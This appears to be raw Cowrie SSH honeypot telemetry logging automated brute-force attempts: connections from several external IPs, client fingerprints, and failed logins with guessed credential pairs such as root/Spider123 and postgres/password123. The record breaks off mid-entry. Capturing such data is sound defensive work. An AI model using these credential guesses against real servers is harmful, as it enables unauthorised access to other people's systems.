{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!@#QWE123qwe","message":"login attempt [ubuntu/!@#QWE123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:17.288820Z","src_ip":"45.78.204.254","session":"cff49df31850","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":40836,"dst_ip":"10.17.0.5","dst_port":22,"session":"b92b8c64d6d6","protocol":"ssh","message":"New connection: 45.123.217.22:40836 (10.17.0.5:22) [session: b92b8c64d6d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:18.273736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:18.281073Z","src_ip":"45.123.217.22","session":"b92b8c64d6d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:18.514553Z","src_ip":"45.123.217.22","session":"b92b8c64d6d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:18.649045Z","src_ip":"45.78.204.254","session":"cff49df31850","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser!","message":"login attempt [testuser/testuser!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:19.484299Z","src_ip":"45.123.217.22","session":"b92b8c64d6d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":36112,"dst_ip":"10.17.0.5","dst_port":22,"session":"55635749fff6","protocol":"ssh","message":"New connection: 91.92.40.36:36112 (10.17.0.5:22) [session: 55635749fff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:19.881329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:20.031349Z","src_ip":"91.92.40.36","session":"55635749fff6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:20.721015Z","src_ip":"45.123.217.22","session":"b92b8c64d6d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:21.114658Z","src_ip":"91.92.40.36","session":"55635749fff6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":36150,"dst_ip":"10.17.0.5","dst_port":22,"session":"3df0972119c7","protocol":"ssh","message":"New connection: 91.92.40.36:36150 (10.17.0.5:22) [session: 3df0972119c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:25.112750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:25.490296Z","src_ip":"91.92.40.36","session":"3df0972119c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:25.554520Z","src_ip":"91.92.40.36","session":"3df0972119c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"123456","message":"login attempt [ftpadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:26.694749Z","src_ip":"91.92.40.36","session":"55635749fff6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password123","message":"login attempt [postgres/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:27.991428Z","src_ip":"91.92.40.36","session":"3df0972119c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:29.299031Z","src_ip":"91.92.40.36","session":"55635749fff6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":35510,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f2a23400ab5","protocol":"ssh","message":"New connection: 163.7.9.84:35510 (10.17.0.5:22) [session: 2f2a23400ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:29.575946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:29.580362Z","src_ip":"163.7.9.84","session":"2f2a23400ab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:29.794787Z","src_ip":"91.92.40.36","session":"3df0972119c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:29.841907Z","src_ip":"163.7.9.84","session":"2f2a23400ab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Abc12345","message":"login attempt [ubuntu/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:30.918811Z","src_ip":"163.7.9.84","session":"2f2a23400ab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:32.181168Z","src_ip":"163.7.9.84","session":"2f2a23400ab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22232,"dst_ip":"10.17.0.5","dst_port":22,"session":"0187a3ce02d4","protocol":"ssh","message":"New connection: 91.92.40.36:22232 (10.17.0.5:22) [session: 0187a3ce02d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:34.558560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:35.367502Z","src_ip":"91.92.40.36","session":"0187a3ce02d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:36.125228Z","src_ip":"91.92.40.36","session":"0187a3ce02d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20032,"dst_ip":"10.17.0.5","dst_port":22,"session":"f912b1ffa0bb","protocol":"ssh","message":"New connection: 91.92.40.36:20032 (10.17.0.5:22) [session: f912b1ffa0bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:41.204519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:41.237365Z","src_ip":"91.92.40.36","session":"f912b1ffa0bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:41.346323Z","src_ip":"91.92.40.36","session":"f912b1ffa0bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"farmacia","password":"farmacia","message":"login attempt [farmacia/farmacia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:42.114379Z","src_ip":"91.92.40.36","session":"f912b1ffa0bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"n8n","password":"n8n","message":"login attempt [n8n/n8n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:42.182637Z","src_ip":"91.92.40.36","session":"0187a3ce02d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:43.400915Z","src_ip":"91.92.40.36","session":"f912b1ffa0bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:43.987339Z","src_ip":"91.92.40.36","session":"0187a3ce02d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44888,"dst_ip":"10.17.0.5","dst_port":22,"session":"03eb4b9ef7fd","protocol":"ssh","message":"New connection: 91.92.40.36:44888 (10.17.0.5:22) [session: 03eb4b9ef7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:50.081851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:50.159324Z","src_ip":"91.92.40.36","session":"03eb4b9ef7fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:51.840495Z","src_ip":"91.92.40.36","session":"03eb4b9ef7fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":59048,"dst_ip":"159.203.135.109","dst_port":22,"session":"1aaced23d2ba","protocol":"ssh","message":"New connection: 102.213.34.99:59048 (159.203.135.109:22) [session: 1aaced23d2ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:54.312785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:54.317152Z","src_ip":"102.213.34.99","session":"1aaced23d2ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:54.487809Z","src_ip":"102.213.34.99","session":"1aaced23d2ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Spider123","message":"login attempt [root/Spider123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:55.202370Z","src_ip":"102.213.34.99","session":"1aaced23d2ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44944,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1e992bdbc88","protocol":"ssh","message":"New connection: 91.92.40.36:44944 (10.17.0.5:22) [session: a1e992bdbc88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:55.571483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:56.091776Z","src_ip":"91.92.40.36","session":"a1e992bdbc88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed2551